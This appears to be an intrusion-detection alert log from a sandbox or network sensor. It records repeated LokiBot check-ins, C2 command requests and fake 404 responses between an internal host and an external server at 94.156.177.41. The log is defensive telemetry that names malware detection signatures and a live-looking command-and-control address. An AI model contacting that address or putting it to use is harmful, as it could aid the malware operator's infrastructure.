2024-11-20T11:09:09.364690+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T11:09:09.369820+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49219	TCP
2024-11-20T11:09:09.510263+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T11:09:09.510263+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T11:09:09.510263+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T11:09:10.235026+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T11:09:10.235026+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T11:09:10.241617+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49220	TCP
2024-11-20T11:09:10.381526+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T11:09:10.381526+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T11:09:10.381526+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T11:09:11.115424+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T11:09:11.115424+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T11:09:11.120984+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49221	TCP
2024-11-20T11:09:11.269627+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T11:09:11.269627+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T11:09:11.269627+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T11:09:12.012535+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T11:09:12.012535+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T11:09:12.017444+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49222	TCP
2024-11-20T11:09:12.154909+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T11:09:12.154909+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T11:09:12.154909+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T11:09:12.941472+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T11:09:12.941472+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T11:09:12.950526+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49223	TCP
2024-11-20T11:09:13.118072+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T11:09:13.118072+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T11:09:13.118072+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T11:09:13.866235+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T11:09:13.866235+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T11:09:13.871527+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49224	TCP
2024-11-20T11:09:14.021635+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T11:09:14.021635+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T11:09:14.021635+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T11:09:14.783519+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T11:09:14.783519+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T11:09:14.788393+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49225	TCP
2024-11-20T11:09:15.054347+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T11:09:15.054347+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T11:09:15.054347+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T11:09:15.786102+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T11:09:15.786102+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T11:09:15.791292+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49226	TCP
2024-11-20T11:09:15.957636+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T11:09:15.957636+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T11:09:15.957636+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T11:09:16.810037+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T11:09:16.810037+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T11:09:16.817569+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49227	TCP
2024-11-20T11:09:16.974548+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T11:09:16.974548+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T11:09:16.974548+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T11:09:17.702031+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T11:09:17.702031+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T11:09:17.709675+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49228	TCP
2024-11-20T11:09:17.855870+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T11:09:17.855870+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T11:09:17.855870+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T11:09:19.526453+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T11:09:19.526453+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T11:09:19.527073+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49229	TCP
2024-11-20T11:09:19.681406+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T11:09:19.681406+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T11:09:19.681406+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T11:09:20.420637+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T11:09:20.420637+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T11:09:20.425799+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49230	TCP
2024-11-20T11:09:20.573695+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T11:09:20.573695+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T11:09:20.573695+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T11:09:21.314955+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T11:09:21.314955+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T11:09:21.322527+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49231	TCP
2024-11-20T11:09:21.471180+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T11:09:21.471180+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T11:09:21.471180+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T11:09:22.217616+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T11:09:22.217616+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T11:09:22.223852+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49232	TCP
2024-11-20T11:09:22.364648+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T11:09:22.364648+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T11:09:22.364648+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T11:09:23.254109+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T11:09:23.254109+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T11:09:23.259068+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49233	TCP
2024-11-20T11:09:23.410559+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T11:09:23.410559+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T11:09:23.410559+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T11:09:24.404461+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T11:09:24.404461+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T11:09:24.409463+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49234	TCP
2024-11-20T11:09:24.567819+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T11:09:24.567819+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T11:09:24.567819+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T11:09:26.308393+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T11:09:26.308393+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T11:09:26.573856+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49235	TCP
2024-11-20T11:09:26.583371+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T11:09:26.583371+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T11:09:26.583371+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T11:09:27.498635+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T11:09:27.498635+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T11:09:27.503716+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49236	TCP
2024-11-20T11:09:27.798263+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T11:09:27.798263+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T11:09:27.798263+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T11:09:28.601487+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T11:09:28.601487+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T11:09:28.606457+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49237	TCP
2024-11-20T11:09:28.872433+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T11:09:28.872433+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T11:09:28.872433+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T11:09:29.678802+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T11:09:29.678802+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T11:09:29.686788+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49238	TCP
2024-11-20T11:09:29.853943+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T11:09:29.853943+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T11:09:29.853943+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T11:09:30.598870+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T11:09:30.598870+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T11:09:30.608399+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49239	TCP
2024-11-20T11:09:30.933082+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T11:09:30.933082+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T11:09:30.933082+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T11:09:31.681516+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T11:09:31.681516+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T11:09:31.688133+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49240	TCP
2024-11-20T11:09:31.828472+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T11:09:31.828472+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T11:09:31.828472+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T11:09:32.557261+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T11:09:32.557261+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T11:09:32.562183+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49241	TCP
2024-11-20T11:09:32.713977+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T11:09:32.713977+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T11:09:32.713977+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T11:09:33.605446+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T11:09:33.605446+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T11:09:33.610429+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49242	TCP
2024-11-20T11:09:33.926911+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T11:09:33.926911+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T11:09:33.926911+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T11:09:34.675390+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T11:09:34.675390+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T11:09:34.681360+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49243	TCP
2024-11-20T11:09:34.827985+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T11:09:34.827985+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T11:09:34.827985+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T11:09:35.668171+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T11:09:35.668171+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T11:09:35.675754+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49244	TCP
2024-11-20T11:09:35.811112+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T11:09:35.811112+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T11:09:35.811112+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T11:09:36.753021+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T11:09:36.753021+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T11:09:36.757976+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49245	TCP
2024-11-20T11:09:36.907516+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T11:09:36.907516+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T11:09:36.907516+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T11:09:37.666072+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T11:09:37.666072+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T11:09:37.673948+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49246	TCP
2024-11-20T11:09:37.827332+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T11:09:37.827332+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T11:09:37.827332+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T11:09:38.569971+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T11:09:38.569971+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T11:09:38.574890+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49247	TCP
2024-11-20T11:09:38.717822+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T11:09:38.717822+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T11:09:38.717822+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T11:09:39.499696+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T11:09:39.499696+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T11:09:39.504812+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49248	TCP
2024-11-20T11:09:39.652336+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49249	94.156.177.41	80	TCP
2024-11-20T11:09:39.652336+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49249	94.156.177.41	80	TCP
2024-11-20T11:09:39.652336+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49249	94.156.177.41	80	TCP
2024-11-20T11:09:40.469131+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49249	94.156.177.41	80	TCP
2024-11-20T11:09:40.469131+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49249	94.156.177.41	80	TCP
2024-11-20T11:09:40.474031+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49249	TCP
2024-11-20T11:09:40.609403+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49250	94.156.177.41	80	TCP
2024-11-20T11:09:40.609403+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49250	94.156.177.41	80	TCP
2024-11-20T11:09:40.609403+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49250	94.156.177.41	80	TCP
2024-11-20T11:09:41.391468+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49250	94.156.177.41	80	TCP
2024-11-20T11:09:41.391468+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49250	94.156.177.41	80	TCP
2024-11-20T11:09:41.398933+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49250	TCP
2024-11-20T11:09:41.549340+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49251	94.156.177.41	80	TCP
2024-11-20T11:09:41.549340+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49251	94.156.177.41	80	TCP
2024-11-20T11:09:41.549340+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49251	94.156.177.41	80	TCP
2024-11-20T11:09:42.303354+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49251	94.156.177.41	80	TCP
2024-11-20T11:09:42.303354+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49251	94.156.177.41	80	TCP
2024-11-20T11:09:42.310054+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49251	TCP
2024-11-20T11:09:42.611715+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49252	94.156.177.41	80	TCP
2024-11-20T11:09:42.611715+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49252	94.156.177.41	80	TCP
2024-11-20T11:09:42.611715+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49252	94.156.177.41	80	TCP
2024-11-20T11:09:43.481518+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49252	94.156.177.41	80	TCP
2024-11-20T11:09:43.481518+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49252	94.156.177.41	80	TCP
2024-11-20T11:09:43.487717+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49252	TCP
2024-11-20T11:09:43.638686+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49253	94.156.177.41	80	TCP
2024-11-20T11:09:43.638686+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49253	94.156.177.41	80	TCP
2024-11-20T11:09:43.638686+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49253	94.156.177.41	80	TCP
